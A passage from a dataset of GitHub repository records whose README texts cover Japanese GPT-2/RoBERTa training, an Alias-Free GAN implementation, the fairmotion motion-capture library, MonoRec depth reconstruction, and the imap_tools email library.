`data/model/pretrain_gpt2/gpt2-ja-xsmall-xxx.checkpoint`. Run the following command to use it to complete text on one GPU by nucleus sampling with `p=0.95` and `k=40`:\n\n~~~~\nCUDA_VISIBLE_DEVICES=0 python -m task.pretrain_gpt2.interact \\\n    --checkpoint_path ../data/model/pretrain_gpt2/gpt2-ja-medium-xxx.checkpoint \\\n    --gen_type top \\\n    --top_p 0.95 \\\n    --top_k 40\n~~~~\n\n### Prepare files for uploading to Huggingface\n\n1. Make your Huggingface account. Create a model repo. Clone it to your local machine.\n\n2. Create model and config files from a checkpoint by running:\n~~~~\npython -m task.pretrain_gpt2.checkpoint2huggingface \\\n    --checkpoint_path ../data/model/gpt2-medium-xxx.checkpoint \\\n    --save_dir {huggingface's model repo directory}\n~~~~\n\n3. Validate the created files by running:\n~~~~\npython -m task.pretrain_gpt2.check_huggingface \\\n    --model_dir {huggingface's model repo directory}\n~~~~\n\n4. Add files, commit, and push to your Huggingface repo.\n\n### Customize your GPT-2 training\n\nCheck available arguments of GPT-2 training script by running:\n~~~~\npython -m task.pretrain_gpt2.train --help\n~~~~\n\n---\n\n## Train `japanese-roberta-base` from scratch\n\nAssume you have finished the data construction process as described above, run the following command to train a base-sized Japanese RoBERTa on, for example, 8 V100 GPUs:\n\n~~~~\nCUDA_VISIBLE_DEVICES=0,1,2,3,4,5,6,7 python -m task.pretrain_roberta.train \\\n    --n_gpus 8 \\\n    --save_model True \\\n    --enable_log True \\\n    --model_size base \\\n    --model_config_filepath model/roberta-ja-base-config.json \\\n    --batch_size 32 \\\n    --eval_batch_size 32 \\\n    --n_training_steps 3000000 \\\n    --n_accum_steps 16 \\\n    --init_lr 0.0006\n~~~~\n\n---\n\n## License\n\n[The Apache 2.0 license](https://www.apache.org/licenses/LICENSE-2.0)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "rosinality/alias-free-gan-pytorch", "link": "https://github.com/rosinality/alias-free-gan-pytorch", "tags": ["alias-free-gan", "stylegan2", "gan"], "stars": 502, "description": "Unofficial implementation of Alias-Free Generative Adversarial Networks. (https://arxiv.org/abs/2106.12423) in PyTorch", "lang": "Python", "repo_lang": "", "readme": "# alias-free-gan-pytorch\r\n\r\nUnofficial implementation of Alias-Free Generative Adversarial Networks. (https://arxiv.org/abs/2106.12423) This implementation contains a lot of my guesses, so I think there are many differences to the official implementations\r\n\r\n## Usage\r\n\r\nFirst create lmdb datasets:\r\n\r\n> python prepare_data.py --out LMDB_PATH --n_worker N_WORKER --size SIZE1,SIZE2,SIZE3,... DATASET_PATH\r\n\r\nThis will convert images to jpeg and pre-resizes it. This implementation does not use progressive growing, but you can create multiple resolution datasets using size arguments with comma separated lists, for the cases that you want to try another resolutions later.\r\n\r\nThen you can train model in distributed settings\r\n\r\n> python train.py  --n_gpu N_GPU --conf config/config-t.jsonnet training.batch=BATCH_SIZE path=LMDB_PATH\r\n\r\ntrain.py supports Weights & Biases logging. If you want to use it, add `wandb=true` arguments to the script.\r\n\r\n## Sample\r\n\r\n![Latent translation sample 1](doc/sample1.gif)\r\n![Latent translation sample 2](doc/sample2.gif)\r\n![Latent translation sample 3](doc/sample3.gif)\r\n![Latent translation sample 4](doc/sample4.gif)\r\n![Latent translation sample 5](doc/sample5.gif)\r\n![Latent translation sample 6](doc/sample6.gif)", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "facebookresearch/fairmotion", "link": "https://github.com/facebookresearch/fairmotion", "tags": [], "stars": 503, "description": "Tools to load, process and visualize motion capture data", "lang": "Python", "repo_lang": "", "readme": "# fairmotion\n\nfairmotion provides easy-to-use interfaces and tools to work with motion capture data. The objective of the library is to manage the complexity of motion representation, 3D transformations, file formats and visualization, and let users focus on high level learning tasks. \n\nUsers can take advantage of large high-quality motion capture datasets like the [CMU](http://mocap.cs.cmu.edu/) and [AMASS](https://amass.is.tue.mpg.de/) datasets without deep knowledge of the domain or handling the idiosyncrasies of individual datasets. We implement baselines for research tasks using building blocks from the library to demonstrate its utility.\n\n<img src=\"fairmotion/viz/samples/anim_viz.gif\" width=\"500\"><img src=\"fairmotion/viz/samples/anim_smpl.gif\" width=\"330\">\n\n## Getting Started\n\n### Installation\n\nfarmotion is available on PyPI for easy installation\n```\npip install fairmotion\n```\n\nTo install fairmotion from source, first clone the git repository, use pip to download dependencies and build the project.\n```\n$ git clone https://github.com/facebookresearch/fairmotion.git\n$ cd fairmotion\n$ pip install -e .\n```\n### Data Loading\n\nHere, we load a motion capture file in the BVH file format in a python console. Similarly, there are loaders to import files from [ASF/AMC](https://research.cs.wisc.edu/graphics/Courses/cs-838-1999/Jeff/ASF-AMC.html), [AMASS](https://amass.is.tue.mpg.de/dataset) and [AMASS DIP](http://dip.is.tuebingen.mpg.de/pre_download) formats.\n```\nfrom fairmotion.data import bvh\n\nBVH_FILENAME = \u201cPATH_TO_BVH_FILE\u201d\nmotion = bvh.load(BVH_FILENAME)\n```\n\nIf you recieve errors like the ones below, you can find the workaround [here](https://stackoverflow.com/questions/65202395/pyopengl-on-macos-bigsur-and-opengl-error-nullfunctionerror#:~:text=if%20name%20%3D%3D%20%27OpenGL%27%3A%0A%20%20%20%20fullName%20%3D%20%27/System/Library/Frameworks/OpenGL.framework/OpenGL%27%0Aelif%20name%20%3D%3D%20%27GLUT%27%3A%0A%20%20%20%20fullName%20%3D%20%27/System/Library/Frameworks/GLUT.framework/GLUT%27).\n```\nImportError: ('Unable to load OpenGL library', 'dlopen(OpenGL, 10): image not found', 'OpenGL', None)\nor\nOpenGL.error.NullFunctionError: Attempt to call an undefined function glutInit, check for bool(glutInit) before calling\n```\n### Motion manipulation\n\nThe motion object can be manipulated in both modular and matrix forms. Here, we translate the object to a fixed global position `[1, 1, 1]` and select a time slice from frame `20` to frame `30`.\n```\nfrom fairmotion.ops import motion as motion_ops\n\ntranslated_motion = motion_ops.translate(motion, np.array([1, 1, 1]))\nsliced_motion = motion_ops.cut(translated_motion, 10, 20)\n```\nWe can perform the same operations in the matrix representation of motion.\n```\nfrom fairmotion.core.motion import Motion\n\n# motion_matrix has shape (num_frames, num_joints, 4, 4) where 4x4 is transformation matrix\nmotion_matrix = motion.to_matrix()\n\ntranslation_matrix = np.zeros((4, 4))\ntranslation_matrix[3, :3] = np.array([1, 1, 1])\n\ntranslated_motion_matrix = motion_matrix + translation_matrix\nsliced_motion_matrix = translated_motion_matrix[10:20]\nsliced_motion = Motion.from_matrix(sliced_motion_matrix, motion.skel)\n```\n### Data saving\n\nWe can save the manipulated motion object back into the bvh file format for us to visualize the result.\n```\nNEW_BVH_FILENAME = \"PATH_TO_NEW_BVH_FILE\"\nbvh.save(sliced_motion, NEW_BVH_FILENAME)\n```\n### Visualization\n\nWe visualize the results using the `bvh_visualizer` tool.\n```\n$ python fairmotion/viz/bvh_visualizer.py --bvh-files $NEW_BVH_FILENAME\n```\n\n## Tasks\nThe `tasks` module showcases practical usage of fairmotion modules as building blocks in developing projects.\n\n- [Motion Prediction](https://github.com/facebookresearch/fairmotion/tree/master/fairmotion/tasks/motion_prediction)\n- [Motion Graph](https://github.com/facebookresearch/fairmotion/tree/master/fairmotion/tasks/motion_graph)\n- [Clustering of motion capture dataset](https://github.com/facebookresearch/fairmotion/tree/master/fairmotion/tasks/clustering)\n- [Changepoint Detection](https://github.com/facebookresearch/fairmotion/tree/master/fairmotion/tasks/changepoint_detection)\n\nfairmotion has been used in some form in the following works:\n\n* Jungdam Won, Deepak Gopinath, and Jessica Hodgins. \u201cA Scalable Approach to Control Diverse Behaviors for Physically Simulated Characters\u201d to be presented at SIGGRAPH 2020 [[Project page with code and paper](https://research.fb.com/publications/a-scalable-approach-to-control-diverse-behaviors-for-physically-simulated-characters/)]\n* Tanmay Shankar, and Abhinav Gupta. \"Learning Robot Skills with Temporal Variational Inference.\" ICML 2020\n* Jungdam Won, and Jehee Lee. \"Learning body shape variation in physics-based characters.\" ACM Transactions on Graphics (TOG) 2019\n\n## Citation\nIf you find fairmotion useful in your research, please cite our repository using the following BibTeX entry.\n```\n@Misc{gopinath2020fairmotion,\n  author =       {Gopinath, Deepak and Won, Jungdam},\n  title =        {fairmotion - Tools to load, process and visualize motion capture data},\n  howpublished = {Github},\n  year =         {2020},\n  url =          {https://github.com/facebookresearch/fairmotion}\n}\n```\n## License\nfairmotion is released under the [BSD-3-Clause License](https://github.com/facebookresearch/fairmotion/blob/master/LICENSE).\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Brummi/MonoRec", "link": "https://github.com/Brummi/MonoRec", "tags": ["depth-estimation", "deep-learning", "unsupervised-learning", "cvpr2021"], "stars": 502, "description": "Official implementation of the paper: MonoRec: Semi-Supervised Dense Reconstruction in Dynamic Environments from a Single Moving Camera (CVPR 2021)", "lang": "Python", "repo_lang": "", "readme": "# MonoRec\n[**Paper**](https://arxiv.org/abs/2011.11814) |  [**Video** (CVPR)](https://youtu.be/XimdlXUamo0) | [**Video** (Reconstruction)](https://youtu.be/-gDSBIm0vgk) | [**Project Page**](https://vision.in.tum.de/research/monorec)\n\nThis repository is the official implementation of the paper:\n\n> **MonoRec: Semi-Supervised Dense Reconstruction in Dynamic Environments from a Single Moving Camera**\n>\n> [Felix Wimbauer*](https://www.linkedin.com/in/felixwimbauer), [Nan Yang*](https://vision.in.tum.de/members/yangn), [Lukas Von Stumberg](https://vision.in.tum.de/members/stumberg), [Niclas Zeller](https://vision.in.tum.de/members/zellern) and [Daniel Cremers](https://vision.in.tum.de/members/cremers)\n> \n> [**CVPR 2021** (arXiv)](https://arxiv.org/abs/2011.11814)\n\n<a href=\"https://youtu.be/-gDSBIm0vgk\"><div style=\"text-align:center\"><img src=\"./pictures/frames_pointcloud.gif\" style=\"height:auto;width:70%px\"/></div></a>\n\nIf you find our work useful, please consider citing our paper:\n```\n@InProceedings{wimbauer2020monorec,\n  title = {{MonoRec}: Semi-Supervised Dense Reconstruction in Dynamic Environments from a Single Moving Camera},\n  author = {Wimbauer, Felix and Yang, Nan and von Stumberg, Lukas and Zeller, Niclas and Cremers, Daniel},\n  booktitle = {IEEE Conference on Computer Vision and Pattern Recognition (CVPR)},\n  year = {2021},\n}\n```\n\n## \ud83c\udfd7\ufe0f\ufe0f Setup\n\nThe `conda` environment for this project can be setup by running the following command:\n\n```shell\nconda env create -f environment.yml\n```\n\n## \ud83c\udfc3 Running the Example Script\n\nWe provide a sample from the KITTI Odometry test set and a script to run MonoRec on it in ``example/``. \nTo download the pretrained model and put it into the right place, run ``download_model.sh``. \nYou can manually do this by downloading the weights from [here](https://vision.in.tum.de/_media/research/monorec/monorec_depth_ref.pth.zip) \nand unpacking the file to ``saved/checkpoints/monorec_depth_ref.pth``.\nThe example script will plot the keyframe, depth prediction and mask prediction.\n\n```shell\ncd example\npython test_monorec.py\n```\n\n## \ud83d\uddc3\ufe0f Data\n\nIn all of our experiments we used the KITTI Odometry dataset for training. For additional evaluations, we used the KITTI, Oxford RobotCar, \nTUM Mono-VO and TUM RGB-D datasets. All datapaths can be specified in the respective configuration files. In our experiments, we put all datasets into a seperate folder ```../data```.\n\n### KITTI Odometry\n\nTo setup KITTI Odometry, download the color images and calibration files from the \n[official website](http://www.cvlibs.net/datasets/kitti/eval_odometry.php) (around 145 GB). Instead of the given \nvelodyne laser data files, we use the improved ground truth depth for evaluation, which can be downloaded from \n[here](http://www.cvlibs.net/datasets/kitti/eval_depth_all.php). \n\nUnzip the color images and calibration files into ```../data```. The lidar depth maps can be extracted into the given \nfolder structure by running ```data_loader/scripts/preprocess_kitti_extract_annotated_depth.py```.\n\nFor training and evaluation, we use the poses estimated by [Deep Virtual Stereo Odometry (DVSO)](https://vision.in.tum.de/research/vslam/dvso). They can be downloaded \nfrom [here](https://vision.in.tum.de/_media/research/monorec/poses_dvso.zip) and should be placed under ``../data/{kitti_path}/poses_dso``. This folder structure is ensured when \nunpacking the zip file in the ``{kitti_path}`` directory.\n\nTo supplement the self-supervised training, we use sparse depth maps generated by [Deep Virtual Stereo Odometry (DVSO)](https://vision.in.tum.de/research/vslam/dvso) \nduring the pose etimation. They can be downloaded from [here](https://vision.in.tum.de/_media/research/monorec/depth_dvso.zip)\nand should be palced under ``../data/{kitti_path}/sequences/{seq_num}/image_depth_sparse``.\nThis folder structure is ensured when unpacking the zip file in the ``{kitti_path}`` directory.\n\nThe auxiliary moving object masks can be downloaded from [here](https://vision.in.tum.de/_media/research/monorec/mvobj_mask.zip). They should be placed under \n``../data/{kitti_path}/sequences/{seq_num}/mvobj_mask``. This folder structure again is ensured when \nunpacking the zip file in the ``{kitti_path}`` directory.\n\nFinally, for mask training, we also use index masks for the training data, which can be downloaded from [here](https://vision.in.tum.de/_media/research/monorec/index_masks.zip). They should be placed under \n``../data/{kitti_path}/sequences/{seq_num}/``. This folder structure again is ensured when \nunpacking the zip file in the ``{kitti_path}`` directory.\n\n### Oxford RobotCar\n\n\nTo setup Oxford RobotCar, download the camera model files and the large sample from \n[the official website](https://robotcar-dataset.robots.ox.ac.uk/downloads/). Code, as well as, camera extrinsics need to be downloaded \nfrom the [official GitHub repository](https://github.com/ori-mrg/robotcar-dataset-sdk).\nPlease move the content of the ``python`` folder to ``data_loaders/oxford_robotcar/``.\n``extrinsics/``, ``models/`` and ``sample/`` need to be moved to ``../data/oxford_robotcar/``. Note that for poses we \nuse the official visual odometry poses, which are not provided in the large sample. They need to be downloaded manually from\n[the raw dataset](http://mrgdatashare.robots.ox.ac.uk/download/?filename=datasets/2014-12-12-10-45-15/2014-12-12-10-45-15_vo.tar) \nand unpacked into the sample folder.\n\n### TUM Mono-VO\n\nUnfortunately, TUM Mono-VO images are provided only in the original, distorted form. Therefore, they need to be undistorted \nfirst before fed into MonoRec. To obtain poses for the sequences, we run the publicly available version \nof [Direct Sparse Odometry](https://github.com/JakobEngel/dso).\n\n### TUM RGB-D\n\nThe official sequences can be downloaded from [the official website](https://vision.in.tum.de/data/datasets/rgbd-dataset/download)\nand need to be unpacked under ``../data/tumrgbd/{sequence_name}``. Note that our provided dataset implementation assumes \nintrinsics from ``fr3`` sequences. Note that the data loader for this dataset also relies on the code from the Oxford Robotcar dataset.\n\n## \ud83c\udfcb\ufe0f Training & Evaluation\n\nThis repository provides training and evaluation configurations to reproduce the results from the paper.\n\nTo train a model from scratch, first set the ``dataset_dir`` fields to the directory in which KITTI Odometry is located\n(default ``../data/dataset``).\nThen run the following commands in the given order:\n\n```shell\npython train.py --config configs/train/monorec/monorec_depth.json --options stereo                          # Depth Bootstrap\npython train_monorec.py --config configs/train/monorec/monorec_mask.json --options stereo                   # Mask Bootstrap\npython train_monorec.py --config configs/train/monorec/monorec_mask_ref.json --options mask_loss            # Mask Refinement\npython train_monorec.py --config configs/train/monorec/monorec_depth_ref.json --options stereo stereo_repr  # Depth Refinement\n```\n\nThe final model will be stored under ``saved/models/monorec_depth_ref/00/checkpoint.pth``. \n\nWe also provide checkpoints for each training stage:\n\n| Training stage | Download |\n| --- | --- |\n| Depth Bootstrap  | [Link](https://vision.in.tum.de/_media/research/monorec/monorec_depth.pth.zip) |\n| Mask Bootstrap  | [Link](https://vision.in.tum.de/_media/research/monorec/monorec_mask.pth.zip) |\n| Mask Refinement  | [Link](https://vision.in.tum.de/_media/research/monorec/monorec_mask_ref.pth.zip) |\n| Depth Refinement (**final model**)  | [Link](https://vision.in.tum.de/_media/research/monorec/monorec_depth_ref.pth.zip) |\n\nRun ``download_model.sh`` to download the final model. It will automatically get moved to ``saved/checkpoints``. \n\nTo reproduce the evaluation results on different datasets, run the following commands:\n\n```shell\npython evaluate.py --config configs/evaluate/eval_monorec.json        # KITTI Odometry\npython evaluate.py --config configs/evaluate/eval_monorec_oxrc.json   # Oxford Robotcar\n```\n\n## \u2601\ufe0f Pointclouds\n\nTo reproduce the pointclouds depicted in the paper and video, use the following commands:\n\n```shell\npython create_pointcloud.py --config configs/test/pointcloud_monorec.json       # KITTI Odometry\npython create_pointcloud.py --config configs/test/pointcloud_monorec_oxrc.json  # Oxford Robotcar\npython create_pointcloud.py --config configs/test/pointcloud_monorec_tmvo.json  # TUM Mono-VO\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ikvk/imap_tools", "link": "https://github.com/ikvk/imap_tools", "tags": ["imap-client", "python", "python3", "pypi-package", "email", "imap"], "stars": 503, "description": "Work with email by IMAP", "lang": "Python", "repo_lang": "", "readme": ".. http://docutils.sourceforge.net/docs/user/rst/quickref.html\n\n.. |nbsp| unicode:: 0xA0\n   :trim:\n\nimap_tools \ud83d\udce7\n=============\n\nHigh level lib for work with email by IMAP:\n\n- Basic message operations: fetch, uids, numbers\n- Parsed email message attributes\n- Query builder for search criteria\n- Actions with emails: copy, delete, flag, move, append\n- Actions with folders: list, set, get, create, exists, rename, subscribe, delete, status\n- IDLE commands: start, poll, stop, wait\n- Exceptions on failed IMAP operations\n- No external dependencies, tested\n\n.. image:: https://img.shields.io/pypi/dm/imap_tools.svg?style=social\n\n===============  ================================================================================================\nPython version   3.5+\nLicense          Apache-2.0\nPyPI             https://pypi.python.org/pypi/imap_tools/\nRFC              `IMAP4.1 <https://tools.ietf.org/html/rfc3501>`_,\n                 `EMAIL <https://tools.ietf.org/html/rfc2822>`_,\n                 `IMAP related RFCs <https://github.com/ikvk/imap_tools/blob/master/docs/IMAP_related_RFCs.txt>`_\n===============  ================================================================================================\n\n.. contents::\n\nInstallation\n------------\n::\n\n    $ pip install imap-tools\n\nGuide\n-----\n\nBasic\n^^^^^\n\nInfo about lib are at: *this page*, docstrings, issues, pull requests, examples, source, stackoverflow.com\n\n.. code-block:: python\n\n    from imap_tools import MailBox, AND\n\n    # Get date, subject and body len of all emails from INBOX folder\n    with MailBox('imap.mail.com').login('test@mail.com', 'pwd') as mailbox:\n        for msg in mailbox.fetch():\n            print(msg.date, msg.subject, len(msg.text or msg.html))\n\n`Description of this^ example <https://github.com/ikvk/imap_tools/blob/master/examples/basic.py>`_.\n\nMailBox, MailBoxTls, MailBoxUnencrypted - for create mailbox client. `TLS example <https://github.com/ikvk/imap_tools/blob/master/examples/tls.py>`_.\n\nBaseMailBox.<auth> - login, login_utf8, xoauth2, logout - authentication functions, they support context manager.\n\nBaseMailBox.fetch - first searches email nums by criteria in current folder, then fetch and yields `MailMessage <#email-attributes>`_:\n\n* *criteria* = 'ALL', message search criteria, `query builder <#search-criteria>`_\n* *charset* = 'US-ASCII', indicates charset of the strings that appear in the search criteria. See rfc2978\n* *limit* = None, limit on the number of read emails, useful for actions with a large number of messages, like \"move\"\n* *miss_no_uid* = True, miss emails without uid\n* *mark_seen* = True, mark emails as seen on fetch\n* *reverse* = False, in order from the larger date to the smaller\n* *headers_only* = False, get only email headers (without text, html, attachments)\n* *bulk* = False, False - fetch each message separately per N commands - low memory consumption, slow; True - fetch all messages per 1 command - high memory consumption, fast\n\nBaseMailBox.uids - search mailbox for matching message uids in current folder, returns [str | None]\n\n* *criteria* = 'ALL', message search criteria, `query builder <#search-criteria>`_\n* *charset* = 'US-ASCII', indicates charset of the strings that appear in the search criteria. See rfc2978\n* *miss_no_uid* = True, not add None values to result when uid item not matched to pattern\n\nBaseMailBox.<action> - `copy, move, delete, flag, append <#actions-with-emails>`_\n\nBaseMailBox.folder - `folder manager <#actions-with-folders>`_\n\nBaseMailBox.idle - `idle manager <#idle-workflow>`_\n\nBaseMailBox.numbers - search mailbox for matching message numbers in current folder, returns [str]\n\nBaseMailBox.client - imaplib.IMAP4/IMAP4_SSL client instance.\n\nEmail attributes\n^^^^^^^^^^^^^^^^\n\nMailMessage and MailAttachment public attributes are cached by functools.lru_cache\n\n.. code-block:: python\n\n    for msg in mailbox.fetch():  # generator: imap_tools.MailMessage\n        msg.uid          # str | None: '123'\n        msg.subject      # str: 'some subject \u4f60 \u043f\u0440\u0438\u0432\u0435\u0442'\n        msg.from_        # str: 'Bart\u00f6lke@ya.ru'\n        msg.to           # tuple: ('iam@goo.ru', 'friend@ya.ru', )\n        msg.cc           # tuple: ('cc@mail.ru', )\n        msg.bcc          # tuple: ('bcc@mail.ru', )\n        msg.reply_to     # tuple: ('reply_to@mail.ru', )\n        msg.date         # datetime.datetime: 1900-1-1 for unparsed, may be naive or with tzinfo\n        msg.date_str     # str: original date - 'Tue, 03 Jan 2017 22:26:59 +0500'\n        msg.text         # str: 'Hello \u4f60 \u041f\u0440\u0438\u0432\u0435\u0442'\n        msg.html         # str: '<b>Hello \u4f60 \u041f\u0440\u0438\u0432\u0435\u0442</b>'\n        msg.flags        # tuple: ('\\\\Seen', '\\\\Flagged', 'ENCRYPTED')\n        msg.headers      # dict: {'received': ('from 1.m.ru', 'from 2.m.ru'), 'anti-virus': ('Clean',)}\n        msg.size_rfc822  # int: 20664 bytes - size info from server (*useful with headers_only arg)\n        msg.size         # int: 20377 bytes - size of received message\n\n        for att in msg.attachments:  # list: imap_tools.MailAttachment\n            att.filename             # str: 'cat.jpg'\n            att.payload              # bytes: b'\\xff\\xd8\\xff\\xe0\\'\n            att.content_id           # str: 'part45.06020801.00060008@mail.ru'\n            att.content_type         # str: 'image/jpeg'\n            att.content_disposition  # str: 'inline'\n            att.part                 # email.message.Message: original object\n            att.size                 # int: 17361 bytes\n\n        msg.obj              # email.message.Message: original object\n        msg.from_values      # imap_tools.EmailAddress | None\n        msg.to_values        # tuple: (imap_tools.EmailAddress,)\n        msg.cc_values        # tuple: (imap_tools.EmailAddress,)\n        msg.bcc_values       # tuple: (imap_tools.EmailAddress,)\n        msg.reply_to_values  # tuple: (imap_tools.EmailAddress,)\n        # EmailAddress(name='Ya', email='im@ya.ru')  # \"full\" property = 'Ya <im@ya.ru>'\n\nSearch criteria\n^^^^^^^^^^^^^^^\n\nYou can use 3 types for \"criteria\" argument of MailBox methods: fetch, uids, numbers:\n\n.. code-block:: python\n\n    from imap_tools import AND\n\n    mailbox.fetch(AND(subject='weather'))  # query, the str-like object\n    mailbox.fetch('TEXT \"hello\"')          # str\n    mailbox.fetch(b'TEXT \"\\xd1\\x8f\"')      # bytes, *charset arg is ignored\n\nUse \"charset\" argument for encode criteria to the desired encoding. If \"criteria\" is bytes - encoding will be ignored.\n\n.. code-block:: python\n\n    mailbox.uids(A(subject='\u0436\u0451\u043b\u0442\u044b\u0439'), charset='utf8')\n\nQuery builder implements all search logic described in `rfc3501 <https://tools.ietf.org/html/rfc3501#section-6.4.4>`_.\nIt uses this classes:\n\n========  =====  ========================================== ======================================\nClass     Alias  Description                                Arguments\n========  =====  ========================================== ======================================\nAND       A      Combine conditions by logical \"AND\"        Search keys (see table below) | str\nOR        O      Combine conditions by logical \"OR\"         Search keys (see table below) | str\nNOT       N      Invert the result of a logical expression  AND/OR instances | str\nHeader    H      Header value for search by header key      name: str, value: str\nUidRange  U      UID range value for search by uid key      start: str, end: str\n========  =====  ========================================== ======================================\n\nSee `query examples <https://github.com/ikvk/imap_tools/blob/master/examples/search.py>`_. A few examples:\n\n.. code-block:: python\n\n    from imap_tools import A, AND, OR, NOT\n    # AND\n    A(text='hello', new=True)  # '(TEXT \"hello\" NEW)'\n    # OR\n    OR(text='hello', date=datetime.date(2000, 3, 15))  # '(OR TEXT \"hello\" ON 15-Mar-2000)'\n    # NOT\n    NOT(text='hello', new=True)  # 'NOT (TEXT \"hello\" NEW)'\n    # complex\n    A(OR(from_='from@ya.ru', text='\"the text\"'), NOT(OR(A(answered=False), A(new=True))), to='to@ya.ru')\n    # python note: you can't do: A(text='two', NOT(subject='one'))\n    A(NOT(subject='one'), text='two')  # use kwargs after logic classes (args)\n\nSearch key table. Key types marked with `*` can accepts a sequence of values like list, tuple, set or generator.\n\n=============  ===============  ======================  ================================================================\nKey            Types            Results                 Description\n=============  ===============  ======================  ================================================================\nanswered       bool             `ANSWERED/UNANSWERED`   with/without the Answered flag\nseen           bool             `SEEN/UNSEEN`           with/without the Seen flag\nflagged        bool             `FLAGGED/UNFLAGGED`     with/without the Flagged flag\ndraft          bool             `DRAFT/UNDRAFT`         with/without the Draft flag\ndeleted        bool             `DELETED/UNDELETED`     with/without the Deleted flag\nkeyword        str*             KEYWORD KEY             with the specified keyword flag\nno_keyword     str*             UNKEYWORD KEY           without the specified keyword flag\n`from_`        str*             FROM `\"from@ya.ru\"`     contain specified str in envelope struct's FROM field\nto             str*             TO `\"to@ya.ru\"`         contain specified str in envelope struct's TO field\nsubject        str*             SUBJECT \"hello\"         contain specified str in envelope struct's SUBJECT field\nbody           str*             BODY \"some_key\"         contain specified str in body of the message\ntext           str*             TEXT \"some_key\"         contain specified str in header or body of the message\nbcc            str*             BCC `\"bcc@ya.ru\"`       contain specified str in envelope struct's BCC field\ncc             str*             CC `\"cc@ya.ru\"`         contain specified str in envelope struct's CC field\ndate           datetime.date*   ON 15-Mar-2000          internal date is within specified date\ndate_gte       datetime.date*   SINCE 15-Mar-2000       internal date is within or later than the specified date\ndate_lt        datetime.date*   BEFORE 15-Mar-2000      internal date is earlier than the specified date\nsent_date      datetime.date*   SENTON 15-Mar-2000      rfc2822 Date: header is within the specified date\nsent_date_gte  datetime.date*   SENTSINCE 15-Mar-2000   rfc2822 Date: header is within or later than the specified date\nsent_date_lt   datetime.date*   SENTBEFORE 1-Mar-2000   rfc2822 Date: header is earlier than the specified date\nsize_gt        int >= 0         LARGER 1024             rfc2822 size larger than specified number of octets\nsize_lt        int >= 0         SMALLER 512             rfc2822 size smaller than specified number of octets\nnew            True             NEW                     have the Recent flag set but not the Seen flag\nold            True             OLD                     do not have the Recent flag set\nrecent         True             RECENT                  have the Recent flag set\nall            True             ALL                     all, criteria by default\nuid            iter(str)/str/U  UID 1,2,17              corresponding to the specified unique identifier set\nheader         H(str, str)*     HEADER \"A-Spam\" \"5.8\"   have a header that contains the specified str in the text\ngmail_label    str*             X-GM-LABELS \"label1\"    have this gmail label.\n=============  ===============  ======================  ================================================================\n\nServer side search notes:\n\n* For string search keys a message matches if the string is a substring of the field. The matching is case-insensitive.\n* When searching by dates - email's time and timezone are disregarding.\n\nActions with emails\n^^^^^^^^^^^^^^^^^^^\n\nFirst of all read about uid `at rfc3501 <https://tools.ietf.org/html/rfc3501#section-2.3.1.1>`_.\n\nAction's uid_list arg may takes:\n\n* str, that is comma separated uids\n* Sequence, that contains str uids\n\nTo get uids, use the maibox methods: uids, fetch.\n\nFor actions with a large number of messages imap command may be too large and will cause exception at server side,\nuse 'limit' argument for fetch in this case.\n\n.. code-block:: python\n\n    with MailBox('imap.mail.com').login('test@mail.com', 'pwd', initial_folder='INBOX') as mailbox:\n\n        # COPY messages with uid in 23,27 from current folder to folder1\n        mailbox.copy('23,27', 'folder1')\n\n        # MOVE all messages from current folder to INBOX/folder2\n        mailbox.move(mailbox.uids(), 'INBOX/folder2')\n\n        # DELETE messages with 'cat' word in its html from current folder\n        mailbox.delete([msg.uid for msg in mailbox.fetch() if 'cat' in msg.html])\n\n        # FLAG unseen messages in current folder as \\Seen, \\Flagged and TAG1\n        flags = (imap_tools.MailMessageFlags.SEEN, imap_tools.MailMessageFlags.FLAGGED, 'TAG1')\n        mailbox.flag(mailbox.uids(AND(seen=False)), flags, True)\n\n        # APPEND: add message to mailbox directly, to INBOX folder with \\Seen flag and now date\n        with open('/tmp/message.eml', 'rb') as f:\n            msg = imap_tools.MailMessage.from_bytes(f.read())  # *or use bytes instead MailMessage\n        mailbox.append(msg, 'INBOX', dt=None, flag_set=[imap_tools.MailMessageFlags.SEEN])\n\nActions with folders\n^^^^^^^^^^^^^^^^^^^^\n\nBaseMailBox.login/xoauth2 has initial_folder arg, that is \"INBOX\" by default, use None for not set folder on login.\n\n.. code-block:: python\n\n    with MailBox('imap.mail.com').login('test@mail.com', 'pwd') as mailbox:\n\n        # LIST: get all subfolders of the specified folder (root by default)\n        for f in mailbox.folder.list('INBOX'):\n            print(f)  # FolderInfo(name='INBOX|cats', delim='|', flags=('\\\\Unmarked', '\\\\HasChildren'))\n\n        # SET: select folder for work\n        mailbox.folder.set('INBOX')\n\n        # GET: get selected folder\n        current_folder = mailbox.folder.get()\n\n        # CREATE: create new folder\n        mailbox.folder.create('INBOX|folder1')\n\n        # EXISTS: check is folder exists (shortcut for list)\n        is_exists = mailbox.folder.exists('INBOX|folder1')\n\n        # RENAME: set new name to folder\n        mailbox.folder.rename('folder3', 'folder4')\n\n        # SUBSCRIBE: subscribe/unsubscribe to folder\n        mailbox.folder.subscribe('INBOX|\u043f\u0430\u043f\u043a\u0430 \u0434\u0432\u0430', True)\n\n        # DELETE: delete folder\n        mailbox.folder.delete('folder4')\n\n        # STATUS: get folder status info\n        stat = mailbox.folder.status('some_folder')\n        print(stat)  # {'MESSAGES': 41, 'RECENT': 0, 'UIDNEXT': 11996, 'UIDVALIDITY': 1, 'UNSEEN': 5}\n\nIDLE workflow\n^^^^^^^^^^^^^\n\nIDLE logic are in mailbox.idle manager, its methods are in the table below:\n\n======== ============================================================================== ================================\nMethod   Description                                                                    Arguments\n======== ============================================================================== ================================\nstart    Switch on mailbox IDLE mode\npoll     Poll for IDLE responses                                                        timeout: |nbsp| Optional[float]\nstop     Switch off mailbox IDLE mode\nwait     Switch on IDLE, poll responses, switch off IDLE on response, return responses  timeout: |nbsp| Optional[float]\n======== ============================================================================== ================================\n\n.. code-block:: python\n\n    from imap_tools import MailBox, A\n\n    # waiting for updates 60 sec, print unseen immediately if any update\n    with MailBox('imap.my.moon').login('acc', 'pwd', 'INBOX') as mailbox:\n        responses = mailbox.idle.wait(timeout=60)\n        if responses:\n            for msg in 